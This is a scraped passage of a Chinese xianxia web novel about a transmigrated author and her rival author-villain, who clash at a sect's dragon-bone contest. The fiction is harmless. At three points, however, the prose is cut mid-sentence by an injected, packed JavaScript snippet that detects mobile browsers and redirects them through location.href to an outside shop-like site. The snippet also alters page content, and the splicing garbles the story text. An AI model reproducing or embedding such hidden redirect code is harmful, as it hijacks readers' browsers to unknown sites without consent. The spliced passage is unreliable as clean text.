他走过来一看,就发现齐云鲤闭眼坐在轮椅上,仿佛命不久矣。 “……真的吗?”没有外敌威胁,卫池似乎十分单纯。 齐云鲤问:“难道我还要希望自己短命?” 这是不设防的态度,以前从来没人跟卫池说过这种话。 如今有人这么说,似乎就是将他当作自己人。 卫池回想一下才说:“他之前要我在龙骨论战时打开阵法。” “阵法开了才能连接秘境。”齐云鲤评价。 她要开秘境,张师铭要开阵法,其实就是一回事。 “没有危险?”卫池有点怀疑。 齐云鲤强调:“你到时候赶紧把剩余阵法之力用完,有多少用多少。” “那他可能气死……” “如果他都能气死,问题早就解决。” 卫池问:“气不死他怎么办?” “别指望那种事,鼎山人数够多,总能打死他。” 这话说得像是鼎山弟子人人都能打张师铭。 卫池觉得那只是个美好愿望。 “你们说了什么?”他依然很疑惑。 齐云鲤被这句话一惊,瞬间站起来:“我要去找罗白音。” ——这个反应就说明有问题。 “龙息乱象的事要告诉她吗?”卫池觉得要说的不止一件事。 齐云鲤坐回轮椅说:“你推着我过去吧。” 于是一人心安理得坐着,一人规规矩矩推着。 名义上的青湖师徒名正言顺出现在飞泉院,一个坐轮椅,一个推轮椅,不知情者还会有所感慨。 但是罗白音知情,她皱起眉头就问:“你们两个一起来是干什么?” “我有话跟你说,他也有话跟你说,不过我先说。”齐云鲤解释。 罗白音只好点头:“你说吧。” “张师铭说要获得龙息,就得保障鼎山不会灭门。这次他要在鼎山化龙,龙息必不可少。”齐云鲤说出重点,她胡说八道半天总算还是有用。 罗白音有些疑惑:“你能保证他在鼎山化龙?” “这样最风光,在鼎山化龙就意味着他已经获得真龙认可。”齐云鲤点头。 “也就是说在他化龙之前,鼎山不会灭门?” 齐云鲤没意识到问题,只是点点头。 罗白音眉头紧皱:“你意思是他化龙之后鼎山就会灭门?” “化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360373|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙之时切断鼎山和他的联系,无论他是死是活都不会影响鼎山。”卫池回答得有理有据。 齐云鲤赶紧点头,生怕她发火。 罗白音皱眉问:“谁去切断?” “我去。”两人异口同声。 然后齐云鲤补充:“我去就行,到时候分工合作,才能忙中有序。” 卫池虽然皱起眉头,不过没有开口否定。 他没有明确表态,罗白音就默认这个说法。 她只是问:“那你主要是什么意思?” “无论他想化龙还是什么都随意,只要他保住鼎山就行。”齐云鲤强调。 罗白音问得很奇怪:“你保不住?” “他准备已久,只有他才能做到。”齐云鲤说出实情。 可疑人士获得这么高的评价,当然是件大事。 ——而且相当重要。 罗白音放心地说:“他无论如何都要保住鼎山,我们能做的就多了。” “机不可失失不再来。”齐云鲤赶紧点头。 罗白音指着推轮椅的人问:“他要说什么?” “龙息乱象的事。”坐轮椅的人说。 龙息乱象是一种常见现象,可大可小,可轻可重。 “这还能干什么?”罗白音十分迷惑。 齐云鲤说:“趁着张师铭要化龙,把能做的全做了,反正他都得摆平。” 罗白音看着面前这个青湖,有种坑蒙拐骗的感觉。 不过来者不善就没必要担心误伤好人,于是她跟卫池说起来。 事情太多不用面面俱到,因此卫池只是交代张师铭在自己这边准备铺设阵法,到时候阵法一开就能为所欲为。 他将张师铭改过的阵法图纸递给罗白音,她一看就发现能连接其他阵法。 卫池说他会在张师铭正式动手前,耗尽阵法之力,龙息乱象就能发挥作用。 罗白音对相关细节不感兴趣,只是说除此以外别再有其他动作。 “还有个叫石月观音的人,这次她会出手。”卫池最后说出一件事。 罗白音瞬间就瞪向对面坐轮椅的人,齐云鲤只好解释:“她跟张师铭有仇,我们都跟张师铭有仇。” 张师铭是什么人,也就决定跟他有仇的是什么人。 罗白音皱眉问:“多大的仇?” “血海深仇,不共戴天吧。” 罗白音很疑惑:“比鼎山仇还深?” “我们要避免鼎山有这么深的仇……”齐云鲤劝说。 已经灭门近百次,还没找到出路可能就再也没机会重来。 毕竟过于耗时耗力,僵持至今大家都快到极限。 “她跟你相比,谁的仇更深?”罗白音继续问。 齐云鲤保证:“绝对是我。” 虽说有福同享有难同当,不过还是有难同当更靠谱。 与得到相比,还是失去更彻底,毕竟覆水难收。 确定彼此立场,罗白音就没必要再过问什么,各自做好准备就行。 张师铭那边难以预料,鼎山这边也扑朔迷离。 齐云鲤跟她交流完便不再插手这方面的事,毕竟还有事情要忙。 鼎山由于龙骨论战进行着相应准备,鼎山弟子忙着清理场地,到时会在晨练之地比武,因此他们要将周边杂物清理,还要防止有人掉下山崖。 龙骨论战是门派内部事务,所以没必要张灯结彩、锣鼓喧天。 只不过每个鼎山弟子都分到一片龙鳞,当然不是真的,是人为打造。 之前就有鼎山中人化龙,煅剑城大为振奋。 虽然鼎山不需要花里胡哨之物,但是煅剑城想方设法来保存与化龙相关的一切。既然龙骨剑还不能出鞘,那就每人一片龙鳞,以示鼎山弟子的重要。 拿到龙鳞之后,很多鼎山弟子就不愿在龙骨论战时期下山。 龙骨论战时,禁地龙息会四溢出来。为了防止龙息危害四周,鼎山弟子必须做好防护。通常来说会让新入门的鼎山弟子下山处理此事,反正抵挡龙息也算交战,跟晨练之地的较量没有分别。 但是获得龙鳞后,不少人觉得鼎山要出大事,如果下山就像落荒而逃,所以很多人都不愿离开。 孙峥湖劝了又劝,最后说三渺宗会趁机溜上鼎山,他们就是去挡住不速之客,这才让大部分新入门的鼎山弟子同意下山。 但孙仲礼不在此列,三渺宗要干什么,都不如禁地会发生什么重要。 他坚持留在山上,不管孙峥湖怎么说都没用。 最后孙峥湖只好拿出几本小册子,说是保命秘籍,千万要小心。 他感觉龙骨论战时鼎山就没有吉利的地方,不过也只能做到这一步。 毕竟有些事躲不过,估计龙骨论战就是这样。 91. 大战前奏 龙骨论战是鼎山内部事务,让鼎山弟子比试较量、互相切磋。虽然都是修道人士,不过他们资质平平,难以在施法布阵上有建树,只能看重打斗。 因此以龙骨论战来增加他们的经验,趁机熟练在龙息压迫下施展拳脚功夫,获胜者还能获得煅剑城龙骨剑。 修道人士不看重修为功法,这是常人无法理解的,所以鼎山没有大肆宣扬。 不过即使世人一无所知,但煅剑城对此分外关注。 一直以来煅剑城都在打造龙骨剑,为的就是协助化龙。之前有鼎山中人成功化龙,说不定接下来就是鼎山弟子。一旦他们能化龙,那么成千上万把龙骨剑就可以出鞘。 煅剑城自然是以剑为重,用剑之人就是鼎山弟子。 他们在鼎山修道,其实就是在准备化龙。 之前有人成功化龙,也就是说鼎山的化龙之术可行。 那么接下来就看他们的。 毕竟一条真龙只是星星之火,唯有成百上千条龙才能扭转乾坤。 煅剑城打造龙鳞分发给鼎山弟子,也是寄予厚望。 龙骨剑只有一把,但龙鳞应有尽有,只要拿到你就是在准备化龙。 对煅剑城来说,龙骨论战谁胜谁负不重要,重要的是鼎山弟子都能化龙。 拿到龙鳞的鼎山弟子有一部分下山办事,还有些人留在鼎山。 谁都知道龙骨论战获胜者没有荣华富贵,但人人都感觉这次必有大事发生,所以没人懈怠。 孙峥湖料到这次就没好事,因此能救一个是一个。 龙骨论战的重点在斗,而龙骨论战以外也要斗。 之前罗白音吩咐他几件事,孙峥湖感觉都要斗得天昏地暗。不过他在打斗方面没有过人之处,既无法在龙骨论战获胜,也不能解决四周隐患,只能尽可能减少损失和伤害。 关键他发现冬青还挺高兴,就知道大事不好。那人一天到晚都想着打架,能让她高兴成那样的只有打斗。 她不能动手打人,那还会打什么? 而且冬青还能变化身上服饰,最近她都身着甲胄,孙峥湖难免瑟瑟发抖。 龙骨论战虽然没有观众,但是有评委。评委是鼎山长老,他们会在比武结束后做出点评,好让鼎山弟子取长补短。 最后他们选出几位优秀者,再从中选出获胜者。 龙骨论战其实就是一个平平无奇的门派内部较量,顶多就是鼎山掌门会在这时露脸说几句话,顺便让众人知道他的模样。 不过这次的龙骨论战只有鼎山灭门,而且是在开始前就结束,因此卫池始终没见过鼎山掌门。 这个轮回僵持至今,总算熬过之前鼎山灭门的时候。虽然不知道接下来会发生什么,但是能看到鼎山掌门也算一点进步。 卫池是这么想的,结果龙骨论战开始时,罗白音说鼎山掌门有要事在身,所以不便出面。 晨练之地位于鼎山外侧,四周都是云海,仿佛能从中翻腾出什么。 但是罗白音说出这句话就让众人大失所望,即使飞出极其罕见的东西也没什么大不了。毕竟传说中打遍天下无敌手的鼎山掌门不会出现。 鼎山弟子鲜少有人见过掌门,但人人都对他的传说熟记于心。那是以一己之力让世人敬他们三分的角色,鼎山即将发生大事,他居然不出面? 齐云鲤坐在轮椅上,见众人都一脸失望,只能感慨鼎山掌门太过出众。 自己跟罗白音说了很多,但她说时机未到,不便现身,也不知道是干什么。 而且他不现身,还找别人出面讲话,罗白音的心思也是不可捉摸。 代替鼎山掌门出面讲话的是张师铭,之前鼎山弟子就对他不满,这时出面自然是有点人嫌狗厌。 现场氛围顿时就有点同仇敌忾。 齐云鲤发现这也好,算是目标明确。张师铭演技再怎么出众,也逃不过鼎山弟子的眼睛,他再怎么天花乱坠也无法扭转形象。 张师铭出来当然不会说有用的东西,只是一再强调鼎山掌门对他有救命之恩,他帮化龙之人回到鼎山,依然没有完全报答恩情。 唯有龙骨论战顺利进行,鼎山掌门不必操心大小事务,他才算报答恩情的十分之一。 这话说得鼎山弟子都不知道究竟发生什么,不过齐云鲤清楚。 太渊真人请张师铭过来扭转局面,结果导致鼎山一次次灭门。虽然最终目标还没达成,不过已经解决张师铭的烦恼。 之前连载小说的时候再受欢迎,他也无法彻底掌控局面。 眼下来到这边,不但能让鼎山灭门还能毁天灭地,自然甚是高兴。 他总算成为高于一切的主宰。 但齐云鲤不关心这种心理变化,眼下她只关注阵法和秘境。张师铭在那边夸夸其谈,同时还有动作。他让卫池打开阵法,那么就能趁机连接秘境,让孙仲礼赶紧过去看清真相。 那小孩被骗得晕头转向,谁劝他都不听,就只能亲眼目睹。 张师铭在谈话间拿出一杯茶,敬诸位鼎山弟子,然后一饮而尽。 卫池看见暗号便打开阵法,齐云鲤也顺势打开连接秘境的通道。通道入口肉眼不可见,但是要进去的人会被一股强大吸力拖进去。 孙仲礼就是那个要去秘境的人,所以当他站在晨练之地旁边听张师铭演讲时,突然天昏地暗,四面八方都在旋转。他顿时跌倒在地,等爬起来的时候晨练之地已经没有其他人。 他一脸茫然地往外走,然后看到山道上满是鼎山弟子尸体。 之前去千溪镇时,孙仲礼并没有同行,因此没看到那时的幻象。 但眼下的尸骸遍野、血流满地实在令他震惊,鼎山灭门一事之前听张师铭提过,但是没有看到具体内容描写,他也不清楚究竟是怎么回事。 如今秘境受张师铭影响,又呈现出鼎山灭门之景。 虽然孙仲礼不清楚原因,但那是一直在帮他的鼎山弟子。他受到帮助就想救人,那么现在该救他们。 于是他顺着山路往上冲,一路冲到鼎山禁地。 路上都是尸体,没有一人生还。 孙仲礼听到远处打斗声,就跑得更快。虽然打架他不行,但施法布阵还是勉强够用,禁地再严寒也能发挥一点作用。 之前张师铭说在禁地打开他给的阵法就能挡住止水宗的控制,所以孙仲礼用尽全力打开本来还有点勉强的阵法。 只要挡住止水宗的影响,或许就能力挽狂澜。 孙仲礼想得很好,可阵法打开后却直接将他压在雪里,周身仿佛有万顷重担,他都快喘不过气。 千钧一发之际,他想起孙峥湖师兄之前给的小册子,上面写到个人如何从阵法脱身的诀窍。 虽然只能用一次,但这次能脱身就已经相当好。 孙仲礼施展术法摆脱阵法压制,他不清楚止水宗究竟有什么布置,但现在看来在禁地施法布阵不是一人就能完成的。 禁地离飞泉院很近,那边几个人都深藏不露,或许过去就有办法。 于是孙仲礼往飞泉院冲过去,空中弥漫着很重的血腥味。他看到沿途都是鼎山弟子尸体,实在不清楚发生何事。 虽然希望渺茫,但还是必须往前冲。 他跨过尸体向飞泉院冲进去,然后看到卫池一身血污跪在那里,不远处站着一个面具人。那个人笑了几声,取下面具,露出真实面容。 ——那是张师铭。 张师铭本人还在晨练之地叙说他的经历和追求,鼎山弟子听得都有点不耐烦,远处的孙仲礼突然消失不见也没人留意。 一个外人滔滔不绝地说他有多辛苦,最后才说到鼎山掌门。他将太渊真人描述得英明神武,众人总算听到感兴趣的,谁知话音一转,他又说起自己多不容易。 罗白音实在听不下去,就打断张师铭的长篇大论。 虽然知道他不怀好意,但是这么折磨人也太出人意料。 龙骨论战是要比武,不是欣赏他口才。 天边没有云卷云舒,只是无边云海,鼎山弟子也不用费时间听他废话。 “鼎山掌门的恩情谁都还不完,龙骨论战本质上也是为报答恩情,”罗白音说得很客气,“虽然鼎山弟子资质尚浅,但是能从中学到很多,日后有什么事也能分忧解难。” 她既说报恩又说比武,也算是两面兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364037|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾。 这原本是罗白音最客气的表现,结果张师铭居然有点不满。 小说里龙骨论战不是自己安排的,因此他完全不想写。连载断更其实也有这个原因,龙骨论战虽然世人一无所知,但就是一件大事。 如果写出来,就是让别人出风头,煞自己威风。 而且参加龙骨论战的人都不施法布阵,只用拳脚功夫,这不就是纯粹的拳打脚踢?他对这种小打小闹不感兴趣,觉得是修道人士的耻辱。 因此罗白音的话张师铭不同意。 此时他当然要宣布自己的观点:“龙骨论战时鼎山龙息四溢,不能好好施法,再怎么出类拔萃也只有拳脚功夫。在这里打得再好,出去都是路边野草。” 这就是完全不把龙骨论战放在眼里,鼎山弟子都有点气。 如此明目张胆砸场子,罗白音也是很久没见。 她说:“鼎山龙息四溢其实是让大家熟悉环境,如今天下还算太平,是因为鼎山承受着龙息压迫。但眼下情况越来越恶劣,也许不久之后就会天下遍布龙息。” 这是修道人士都在担心的事。 如果只是依靠功法,到时候就会成为龙息活靶子。 毕竟修为功法都与天地相应,龙息也一样。龙息会接近相似事物,但这种接近对修道人士来说往往意味着吞噬。 张师铭当然知道这件事,不过他有穿书者之力,没必要因此发愁。 “如果龙息四溢成那样,修道人士就首当其冲,不如自废武功?”说得很讽刺,但这也是他对修道人士的安排。 周围众人一听这话就知道不对。 这岂止是砸鼎山场子,简直就是视天下众生如无物。 孙峥湖四处张望,确定没人走到山崖边才放心。 李宜敏开始叫陆顷己和其他人准备医药。 宋安合赶紧确认四周布局,跟之前一同上飞泉院的鼎山弟子迅速交代情况。 卫池则低下头,看了一眼晨练之地逐渐浓郁的龙息。 罗白音毫不在意,她一直平静地呆在飞泉院,太久没出手,大家都忘了自己如何凶煞。 “龙息压迫时强时弱,在鼎山就有这种变化,到时候也是,如今在鼎山也算身临其境地,”她不怒反笑,“尽早适应这种变化,就能尽快熟悉日后环境。” 鼎山弟子没见过她的真面目,只是有点奇怪,但孙峥湖瞬间就汗如雨下。 ——这人一旦有反常表现,就绝对有杀招。 张师铭不明所以:“熟悉日后环境难道就不用管现在的事?” 他不知道罗白音已经没将自己当人看。 “现在的事我们处理就行,鼎山弟子主要是为以后做准备。” 罗白音依然没有动怒。 “准备以后的事,难道鼎山掌门的事就不用再管?” “你不是在管吗?”罗白音笑起来。 孙峥湖都快被吓哭,没见过比当前更凶险的情况。 四周鼎山弟子还是没看出究竟,不过远处的鼎山长老已经准备动手。 齐云鲤看那两个人吵起来,感觉有点不妙。 张师铭不是无理取闹的人,而是挖好坑再等对方跳,你看起来胜券在握,其实已经跌进谷底。 刚想到这里,张师铭就话音一转:“太渊真人始终担心鼎山事务,之前我还不明所以,现在才明白究竟有什么问题。” “其实化龙之人是受你控制。”他伸手一指。 被指的齐云鲤坐着轮椅停在一旁,原本没人在意,突然就变成众目睽睽之下。 鼎山弟子虽然知道张师铭有问题,但这句话太过令人震惊。 能控制化龙之人,不就是可以操纵真龙? 很多涉世未深的鼎山弟子都一脸恍然大悟,之前那么多稀奇古怪的事似乎水落石出。 化龙之人被控制后,那就可以无所不用其极。 ——什么事都能干出来。 之前看张师铭可疑,原来可疑的是化龙之人。 鼎山弟子纷纷皱起眉头,似乎懊恼不已。 齐云鲤突然成为嫌疑人,只能指认罪犯:“他血口喷人。” 92. 龙骨论战 读者和小说作者的立场并不一致,张师铭恨不得把鼎山挫骨扬灰,但追更读者十分期盼鼎山铲除世间一切修道乱象。 因为鼎山弟子基本都是普通人,跟他们一模一样。 普通人在神秘莫测的修道人士那边打出一片天,这是想都不敢想的。 那种不可捉摸,对他们来说是稀奇古怪,不是门派宗门的高深莫测,而是难以预料的诡异。猜来猜去他们都想不到下一个出场的修道人士会出什么招。 而鼎山弟子是最接近读者的人,不用猜也知道能干什么。 他们就是稀奇古怪里的平凡和普通。 很多人都觉得既然鼎山弟子能那样,那么他也可以这样。 看那个小说也算一种学习,读者觉得鼎山弟子平平无奇也能平定一方祸乱,那么自己也能出人意料。 再普通不过的人,也能做出谁都想不到的事。 读者追更既要看小说主角百折不挠,也是要看鼎山弟子解决大小祸乱。书中角色完成任务,就像是读者自己突破头顶天花板。 大家都对鼎山弟子寄予厚望,所以鼎山灭门时读者基本都崩溃。 谁也不知道什么磨难能打败他们,但小说作者直接赶尽杀绝。 齐云鲤虽是原作者,但也是读者,所以抱有同样的心情。 张师铭瞬间就骗过所有人,这是绝对无法接受的。 青湖是鼎山中人,鼎山弟子怀疑她是自乱阵脚,内部一乱就会有外敌入侵。 所以无论如何她都要在这里挑明一切。 “鼎山有人化龙,你完全不想看到,因此你还叫三渺宗人过来搅局。”齐云鲤直接说出关键。 之前他们两人还和和气气,这时却明显对立,互相指责对方有问题。 其实读者和小说作者关系并不好,之前是看在孙仲礼面子上假装和睦。 如今张师铭欺骗孙仲礼,齐云鲤要打破假象,自然就斗起来。 而且小说作者还开始指责读者,那就不用再留情面。 谭明诗的到来,鼎山弟子都很愤慨。虽然不能对孤身一人动手,但那个人愈发嚣张,最后都直接站在半山腰大殿前迎接修道人士。 张师铭知道众人怨气颇深,就说:“三渺宗人过来非我所愿。” “不过却正合你意,鼎山弟子人数众多,你也不能势单力薄。”齐云鲤对比。 虽然张师铭深不可测,但四周全是鼎山弟子他也无可奈何。只有用谭明诗来转移众人注意,他才能找到可趁之机。 张师铭瞬间变得居心叵测,他只好说:“我是被鼎山掌门所救,来报恩的。” “我看掌门就是被你所害,所以才要闭关!”齐云鲤大喊一声。 她点破太渊真人的闭关原因,无论真假都让人心头一惊。 鼎山掌门一贯飘忽不定,实在没有理由呆在山里闭关。 现场氛围顿时就不利于张师铭,之前他还神神叨叨,这时却无话可说。 罗白音顺势说:“掌门闭关是有要事在身,不是为了修炼。” 鼎山掌门有要事在身所以闭关,还不便出面龙骨论战,可见非比寻常。 太渊真人不会平白无故做这种事,只可能事出有因。 “你们两个先串通好,然后联手对付我。”张师铭感慨,似乎证据确凿。 他无法反驳说辞,只能质疑动机。 “这种事还要串通?又不是不知道你三年来干了什么。” 罗白音说出这句话,鼎山弟子才想起化龙之人恢复的这三年,他们一直用元气对抗张师铭。当时情况紧急,谁都清楚大难临头。 不过众人经验尚浅,刚才差点被他说服。 毕竟没见过有人被当众戳穿真相,还能气定神闲。 “唉,鼎山主事跟化龙之人联手,这是相当棘手的问题。”张师铭依然感慨。 罗白音说:“你以太渊真人的名义来搅局,还挺顺理成章。” “他怎么也想不到被救之人竟然恩将仇报。” “这不就是你?” 罗白音过于气定神闲,张师铭都有些招架不住。 怎么也想不到她能淡定到这种程度,无论如何转移话题,都能被找到破绽。 他只能将鼎山弟子拖进来:“这次龙骨论战要斗的不是拳打脚踢,而是人心险恶。如果不能识别鼎山主事的别有用心,那你们谁也无法逃出生天。” 张师铭只能继续质疑。 “我别有用心,难道你还光明正大?”罗白音讽刺道。 此时的争论从举例说明变成互相怀疑动机。 周围鼎山弟子听得有点晕,很多事他们都不知道。那两人说得云里雾里,他们完全不知道究竟发生何事。 “三年前师兄师姐实在无法忍受你夺取鼎山龙息,才去禁地商量对策,最后去丹青宝卷借元气来布阵。”卫池说出清晰事实。 这件事众人皆知,还有不少参与者。 之前众人被张师铭迷惑,一时忘记这件事。眼下他说出既往的焦头烂额,鼎山弟子顿时回想起当时情况。 那时人人都发现鼎山龙息越来越少,实在没办法就去禁地告知卫池,让他小心。不过却意外得知丹青宝卷里的元气可能有用,这才找到方法止住龙息衰减。 如今情况已经稳定,但威胁仍在。 那个威胁刚才还想挑拨离间,弄乱鼎山局面。 小说主角的话说出口,鼎山弟子神色一敛,张师铭就知道事情不对。 之前夺取龙息骤然衰减甚至停止,他不清楚是什么缘故,没想到竟然是鼎山弟子在背后施法布阵。 他以为鼎山弟子只是路人甲,没有任何威胁。 ——没想到最大障碍竟然就是他们? 张师铭防来防去,怎么也想不到最不起眼的人最有威胁。 事到如今他也没必要再装下去,于是说:“你们这么聪明,实在出乎我所料。” “不是聪明,是智慧,”罗白音说,“你再聪明也想不到他们还能洞察本质。” 张师铭一声轻叹:“可惜再智慧,也为时已晚。” 这句平平无奇的话,谁也没放在心上。 但是空旷平地上响起齐云鲤的喊声。 “——他要出手了!” 话音刚落,晨练之地就涌起很大云雾,不知从何而来,但是众人视线瞬间模糊。谁也看不清周遭环境,只是感觉四周尽是妖魔鬼怪。 还时不时浮现声光电,让人感觉危机重重。 四周乌烟瘴气,因为龙息笼罩,鼎山这才平安无事。 此时他将外面那些张牙舞爪的东西叫过来也不是没可能。 鼎山弟子立即拔剑而出,准备斩妖除魔。 不过此时孙峥湖突然大哭:“不要动,千万不要动!” 他哭得仿佛一家老小已经躺在地上,悲痛瞬间就扑灭众人心头的熊熊烈焰。 孙峥湖吉凶预测绝对准确,此时又大哭出声,众人明白必须遵照指示。 无论有什么变化,都不要轻举妄动。 静下来才发现之前的妖魔鬼怪都是鼎山弟子,刚才差点就出手伤人。 一旦出手就是自相残杀。 张师铭的局被孙峥湖哭得破灭,他只能感慨:“只会哭也有用,你们也太一无是处。” 说得像是他原本期待万分,不过他只想看到鼎山灭门,而绝非新生。 “只是哭就能打破你的计划,也不要太放在心上,看开点。”罗白音劝说。 她说得仿佛无关紧要,但这是张师铭最气的地方。 自己好不容易才站在众人之上,结果这句话瞬间就将他拍下来。 显得堂堂小说作者微不足道一样。 张师铭大怒:“你只能坐在那里,我看你还能怎么样?” “我坐着也比你厉害,千万别气死。” 罗白音的回复令他怒火中烧,于是瞬间就施法攻击。 ——龙骨论战正式开始。 曾经是鼎山弟子互相切磋较量,如今是罗白音和张师铭大打出手。 不过之前还坐轮椅的人,现在已经身手灵活得不似常人。 晨练之地的云雾散去,鼎山弟子就看到罗白音身手矫健,完全没必要坐轮椅。 另一个坐轮椅的齐云鲤只能慢慢退到后面。 孙峥湖止住众人自相残杀,这才解释说明:“她杀气太重,所以太渊真人让她以轮椅代步。” 杀气太重的罗白音遇上蔑视众生的张师铭,只可能你死我活。 不过那边打斗太过激烈,张师铭根本听不到孙峥湖的解释。 而且罗白音受他一击还若无其事,这就十分令人难以置信。 当然实际是她使用抱仙果保命,以前太渊真人给过两颗抱仙果。一颗给那个青湖保命,另一颗当然留给自己。 但是没有表现出来,旁观者都以为她钢筋铁骨。 “你居然没事?!”张师铭不敢置信。 罗白音笑道:“我乃秋容女仙,你说会不会有事?” 虽然知道是胡说八道,不过鼎山弟子都有点懵,这也太能编。 齐云鲤感觉这时的张师铭有点太过引人注意。 按理来说,不是应该低调行事吗? 她猜得没错,所有人的注意都留在晨练之地,这才是张师铭目的。 以前直接杀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366784|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼎山,鼎山弟子都出面抵挡,从山脚杀上山顶花了不少时间。 如今让他们只注意到晨练之地的动静,去山顶就方便很多。 ——毕竟还有止水宗。 虽然在三渺宗有布局,但是在止水宗他才是至高无上、不可动摇的地位。 鼎山弟子不是下山对付三渺宗,就是在晨练之地围观龙骨论战,那就谁也不会留意止水宗的出现。 止水宗要去禁地,禁地才是鼎山重中之重。 张师铭毫不介意在这里失手,反正都能让鼎山不做抵挡。 然而就在这时,孙仲礼突然在晨练之地现身,乍然出现、毫无预兆。 齐云鲤和卫池都是一愣。他遍体鳞伤、浑身狼狈,明显就是刚经过生死搏斗。 “快去飞泉院!”孙仲礼一声大喊。 齐云鲤这才意识到他在秘境里看到什么,必然是鼎山灭门之景。 而且不止围观惨状,还亲自参与其中。 否则不会有这个喊声。 飞泉院是离禁地最近的地方,自然无比重要。 但是之前就已大战,现在出现喊声也并不突兀。鼎山弟子并未警醒,还以为跟打斗是一路的。 “他想对禁地动手来控制鼎山,飞泉院就是最后一道关卡。他在这里转移你们注意,止水宗已经上山!”孙仲礼喊得声嘶力竭。 这句话条理清晰,众人转头一看就发现鼎山有些异常。 苍翠松柏笼罩上一层雾气,那不是陡然出现的云雾,而是货真价实的阵法。 龙骨论战是鼎山最脆弱的时候,门派内有人比试,门派外有人入侵,所以鼎山之前就做好准备。 孙峥湖立即往外冲:“快跟我去飞泉院!” 宋安合也大喊:“布阵,千万要小心!” “拿好龙鳞别掉了,一旦有问题我们马上就能发现!”李宜敏摆摆手。 鼎山长老冲在最前面,将两侧阻拦全部清理,张师铭之前的布置被清扫一空。 止水宗上山不是外敌入侵那么简单,内部必定有人协作。 这种大事自然要全员出动,对抗外敌。 张师铭打出攻击阵法,罗白音挡住才说:“龙骨论战的龙骨可不只晨练之地。” 这时他才发现鼎山早有准备,只能强调:“但飞泉院空无一人。” “有龙息就行,要什么人。”罗白音笑起来。 小说里完全没有众人齐心协力对抗外敌的情节,齐云鲤见状这才感慨鼎山不同凡响。 其他人往外面一冲,晨练之地就只剩五人。 “你怎么知道是止水宗?”张师铭没有动怒,只能有些疑惑。 “之前你说他们要动手,我就感觉没那么简单,”孙仲礼眉头紧皱,“能光明正大告诉我的,绝对不是重点。” 这种事普通人一无所知。 张师铭有点奇怪:“你怎么知道?” “我经验丰富。”孙仲礼自嘲一笑。 昔日被人无休无止地欺负,想不到那些事也能发挥作用。 张师铭感觉这是在讽刺,不禁皱起眉头。 但是另一边的鼎山弟子又停下来,他们跑到晨练之地外围却无法离开。 “怎么出不去?” “有什么东西挡着!” “是阵法将晨练之地围起来。” 坚不可摧的阵法将晨练之地团团包围,找不到任何缝隙。 众人只能赶紧想办法破阵,但情况紧急哪有那么简单,鼎山弟子在晨练之地边缘焦头烂额。 不过就在这时,一个人冲过去撞击,阵法就应声而破。 那人正是孙仲礼,此时他倒地不起,血流满地。 李宜敏赶紧冲过去施法,但是他的情况没有任何好转。 孙峥湖叫鼎山弟子冲上飞泉院,然后停在那里感慨:“没有人能瞬间打破这种阵法……” “我用了……手册上的办法……”孙仲礼奄奄一息。 “那个只能用一次……”孙峥湖十分震惊,那是他给孙仲礼保命的。 “我还能用……第二次……” 话音刚落,孙仲礼就气息全无。 齐云鲤完全没想到另一个穿书者就这么气绝身亡,卫池则觉得自己下手太轻。 ——罪魁祸首张师铭还活蹦乱跳。 鼎山弟子已经转身往山上冲,但张师铭要过去阻拦,就被阵法挡住。 之前挡住鼎山中人的阵法现在挡住他,而且难以打破。 那个阵法过于强悍,只能暂时打破,之后又会重新出现。重新出现后,拦住的就是张师铭去路。 罗白音笑起来:“只要把你困在这里就行。”